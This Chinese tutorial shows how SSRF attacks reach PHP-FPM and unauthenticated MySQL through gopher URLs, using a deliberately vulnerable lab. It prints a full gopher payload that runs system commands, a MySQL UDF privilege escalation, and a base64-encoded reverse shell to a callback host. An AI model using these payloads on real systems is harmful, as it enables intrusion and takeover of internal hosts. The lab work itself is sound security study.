利用SSRF滲透內網主機
SSRF攻擊FastCGI執行命令
FastCGI與PHP-FPM
FastCGI
快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。
眾所周知,在網站分類中存在一種分類就是靜態網站和動態網站,兩者的區別就是靜態網站只需要通過瀏覽器進行解析,其中的頁面是一對一的(一個內容對應一個頁面),而動態網站需要一個額外的編譯解析的過程,網頁上的數據是從數據庫中或者其他地方調用,頁面會隨著數據的變化而改變,就產生了一定的交互性。
瀏覽器訪問靜態網頁過程
在整個網頁的訪問過程中,Web容器(例如Apache、Nginx)只擔任著內容分發者的身份,當訪問靜態網站的主頁時,Web容器會到網站的相應目錄中查找主頁文件,然后發送給用戶的瀏覽器。

瀏覽器訪問動態網頁過程
當訪問動態網站的主頁時,根據容器的配置文件,它知道這個頁面不是靜態頁面,web容器就會去找PHP解析器來進行處理(這里以Apache為例),它會把這個請求進行簡單的處理,然后交給PHP解釋器。

當Apache收到用戶對 index.php 的請求后,如果使用的是CGI,會啟動對應的 CGI 程序,對應在這里就是PHP的解析器。接下來PHP解析器會解析php.ini文件,初始化執行環境,然后處理請求,再以規定CGI規定的格式返回處理后的結果,退出進程,Web server再把結果返回給瀏覽器。這就是一個完整的動態PHP Web訪問流程。
這里說的是使用CGI,而FastCGI就相當于高性能的CGI,與CGI不同的是它像一個常駐的CGI,在啟動后會一直運行著,不需要每次處理數據時都啟動一次, 所以這里引出下面這句概念,FastCGI是語言無關的、可伸縮架構的CGI開放擴展,其主要行為是將CGI解釋器進程保持在內存中,并因此獲得較高的性能 。
php-fpm
了解了CGI和FastCGI之后,我們來看一下什么是php-fpm,官方對它的解釋是FPM(FastCGI 進程管理器)用于替換 PHP FastCGI 的大部分附加功能,對于高負載網站是非常有用的。
也就是說php-fpm是FastCGI的一個具體實現,并且提供了進程管理的功能,在其中的進程中,包含了master和worker進程,這個在后面我們進行環境搭建的時候可以通過命令查看。其中master 進程負責與 Web 服務器進行通信,接收 HTTP 請求,再將請求轉發給 worker 進程進行處理,worker 進程主要負責動態執行 PHP 代碼,處理完成后,將處理結果返回給 Web 服務器,再由 Web 服務器將結果發送給客戶端。
PHP-FPM攻擊實現原理
想要分析它的攻擊原理需要從FastCGI協議封裝數據內容來看,這里僅對攻擊原理做簡要描述,CGI 和 FastCGI 協議的運行原理這篇文章中詳細介紹了FastCGI協議的內容,其攻擊原理就是在設置環境變量實際請求中會出現一個SCRIPT_FILENAME': '/var/www/html/index.php這樣的鍵值對,它的意思是php-fpm會執行這個文件,但是這樣即使能夠控制這個鍵值對的值,但也只能控制php-fpm去執行某個已經存在的文件,不能夠實現一些惡意代碼的執行。
而在php5.3.9后來的版本中,php增加了安全選項導致只能控制php-fpm執行一些php、php4這樣的文件,這也增大了攻擊的難度。但是好在php官方允許通過PHP_ADMIN_VALUE和PHP_VALUE去動態修改php的設置。
那么當設置php環境變量為:auto_prepend_file = php://input;allow_url_include = On,就會在執行php腳本之前包含auto_prepend_file文件的內容,php://input也就是POST的內容,這個我們可以在FastCGI協議的body控制為惡意代碼,這樣就在理論上實現了php-fpm任意代碼執行的攻擊。
環境搭建
安裝環境與依賴
這里直接在Ubuntu上安裝Nginx和php-fpm,首先安裝Nginx
sudo apt-get install nginx
安裝php、php-fpm以及一些插件
sudo apt-get install software-properties-common python-software-properties sudo add-apt-repository ppa:ondrej/php #這里容易卡死,解決方法使用代理 sudo apt-get update sudo apt-get -y install php7.2 sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml php7.2-intl
配置php-fpm
修改配置監聽9000端口來處理nginx的請求
打開/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注釋第一行添加第二行
;listen = /run/php/php7.2-fpm.sock listen = 127.0.0.1:9000
注:這里如果設置監聽為0.0.0.0:9000就在產生php-fpm未授權訪問漏洞,此時攻擊者可以直接與9000端口上的php-fpm進行通信,進而可以實現任意代碼執行。
下面修改權限
chmod 777 /run/php/php7.2-fpm.sock
打開nginx的配置文件 /etc/nginx/sites-available/default 修改相應部分的配置
server {
listen 80; #監聽80端口,接收http請求
server_name hacktop.com; #就是網站地址
root /usr/share/nginx/html/; # 準備存放代碼工程的路徑
#路由到網站根目錄www.example.com時候的處理
location / {
index index.php; #跳轉到 hacktop.com/index.php
autoindex on;
}
#當請求網站下php文件的時候,反向代理到php-fpm
location ~ \.php$ {
root html;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
}
}
啟動環境
配置完成后查看一下php-fpm的安裝位置,然后啟動

重新啟動Nginx
sudo systemctl restart nginx
然后檢查nginx是否正確啟動 systemctl status nginx

檢查php-fpm是否正確啟動 ps -elf | grep php-fpm

這里就可以看出上面所說的存在一個master進程和多個worker進程
下面將/usr/share/nginx/html/(nginx Web目錄)下的文件刪除,新建一個index.php。
內容可以寫上用來檢查各項是否正常運行,如果頁面為空,查看這篇文章解決。

其中Sever API 處和上圖一樣說明運行正確,然后在目錄下新建ssrf.php 內容為
highlight_file(__FILE__); $url = $_REQUEST['url']; $curl = curl_init($url); //第二種初始化curl的方式 //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); /*進行curl配置*/ curl_setopt($curl, CURLOPT_HEADER, 0); // 不輸出HTTP頭 $responseText = curl_exec($curl); //var_dump(curl_error($curl) );//如果執行curl過程中出現異常,可打開此開關,以便查看異常內容 echo $responseText; curl_close($curl); ?>
該代碼為一個ssrf漏洞的示例代碼,可以訪問/ssrf.php?url=http://www.baidu.com進行測試,若能實現跳轉到百度的頁面,或包含百度的頁面即SSRF環境搭建成功

漏洞利用
在這里就直接使用Gopherus生成payload

對生成的payload再次進行URL編碼,放入URL參數瀏覽器請求如下
http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250C%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/usr/share/nginx/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
成功執行命令

SSRF利用MySQL未授權攻擊
MySQL通信協議
MySQL連接方式
MySQL分為服務端和客戶端,客戶端連接服務器使存在三種方法:
?Unix套接字
?內存共享/命名管道
?TCP/IP套接字
?在Linux或者Unix環境下,當我們輸入mysql –uroot –proot登錄MySQL服務器時就是用的Unix套接字連接;Unix套接字其實不是一個網絡協議,只能在客戶端和Mysql服務器在同一臺電腦上才可以使用。
?在Windows系統中客戶端和Mysql服務器在同一臺電腦上,可以使用命名管道和共享內存的方式。
?TCP/IP套接字是在任何系統下都可以使用的方式,也是使用最多的連接方式,當我們輸入mysql –h127.0.0.1 –uroot –proot時就是要TCP/IP套接字。所以當我們需要抓取mysql通信數據包時必須使用TCP/IP套接字連接。
MySQL認證過程
MySQL客戶端連接并登錄服務器時存在兩種情況:需要密碼認證以及無需密碼認證。當需要密碼認證時使用挑戰應答模式,服務器先發送salt然后客戶端使用salt加密密碼然后驗證;當無需密碼認證時直接發送TCP/IP數據包即可。所以在非交互模式下登錄并操作MySQL只能在無需密碼認證,未授權情況下進行,本文利用SSRF漏洞攻擊MySQL也是在其未授權情況下進行的。
MySQL客戶端與服務器的交互主要分為兩個階段:Connection Phase(連接階段或者叫認證階段)和Command Phase(命令階段)。在連接階段包括握手包和認證包,這里我們不詳細說明握手包,主要關注認證數據包。
漏洞利用-查詢數據庫
實驗環境:
系統:Ubuntu 20.04.3 LTS
數據庫:MariaDB 10.3.31
(mysql沒有實驗成功,可能是版本的問題)
配置空密碼用戶
首先我們需要配置一個空密碼的用戶
# 創建用戶 CREATE USER 'admin'@'localhost'; # 授予權限 GRANTUSAGE ON *.* TO 'admin'@'localhost'; # 刷新權限表 flush privileges;
抓取MySQL數據包
首先,開一個窗口,tcpdump -i lo port 3306 -w mysql.pcapng,開始抓取3306的數據包。

image-20211201210243808
然后在另一個窗口,開啟MySQL終端,查詢一些信息。最后記得exit;,不然會出問題。

中止 tcpdump 使用 Wireshark 打開 mysql.pcapng 數據包,追蹤 TCP 流

然后提取request包,并且顯示為原始數據(Raw)

將其整理成 1 行
bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001
生成 gopher 數據流
然后使用如下的 Python3 腳本將數據轉化為 url 編碼:
import sys def results(s): a=[s[i:i+2] for i in range(0,len(s),2)] return "curl gopher://127.0.0.1:3306/_%"+"%".join(a) if __name__=="__main__": s=sys.argv[1] print(results(s))

本地 curl 請求這個 gopher 協議的數據包看看

將生成的payload再進行URL編碼,結合SSRF漏洞進行利用

漏洞利用-UDF提權
提權前需要注意:
?mysql(mariadb)必須使用root用戶啟動(不通過service或者systemctl)
?secure_file_priv變量的值需要為空尋找插件目錄
首先來尋找 MySQL 的插件目錄,原生的 MySQL 命令如下:
$ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';"
然后tcpdump 監聽,使用 Wirshark 分析導出原始數據。這里為了方便就直接查詢了,步驟和上面是一樣的。

寫入動態鏈接庫
拿到 MySQL 的插件目錄為:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/
接著來寫入動態鏈接庫,原生的 MySQL 命令如下:
# 因為 payload 太長 這里就先進入 MySQL 控制臺 $ mysql -h127.0.0.1 -uroot MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so';
關于 UDF 提權的 UDF 命令,推薦參考國光大佬的這個 UDF 提權輔助頁面:
https://www.sqlsec.com/tools/udf.html
tcpdump 監聽到的原始數據后,轉換 gopher 協議,URL編碼后,SSRF 攻擊寫入動態鏈接庫。

可以看到udf.so 已經成功寫入到 MySQL 的插件目錄下了

以此類推,創建自定義函數:
$ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
最后通過創建的自定義函數并執行系統命令將 shell 彈出來,原生命令如下:
$ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')"
測試過程中默認情況下彈不出來,所以這里將原始的 bash 反彈 shell 命令給編碼了:

這里使用的是國光大佬的命令執行輔助工具:
https://www.sqlsec.com/tools.html
tcpdump 監聽到的原始數據后,轉換 gopher 協議,URL二次編碼請求一下,然后 SSRF 攻擊成功彈出 shell。

上述payload,除了寫入動態鏈接庫外,其他的都可以使用Gopherus工具生成
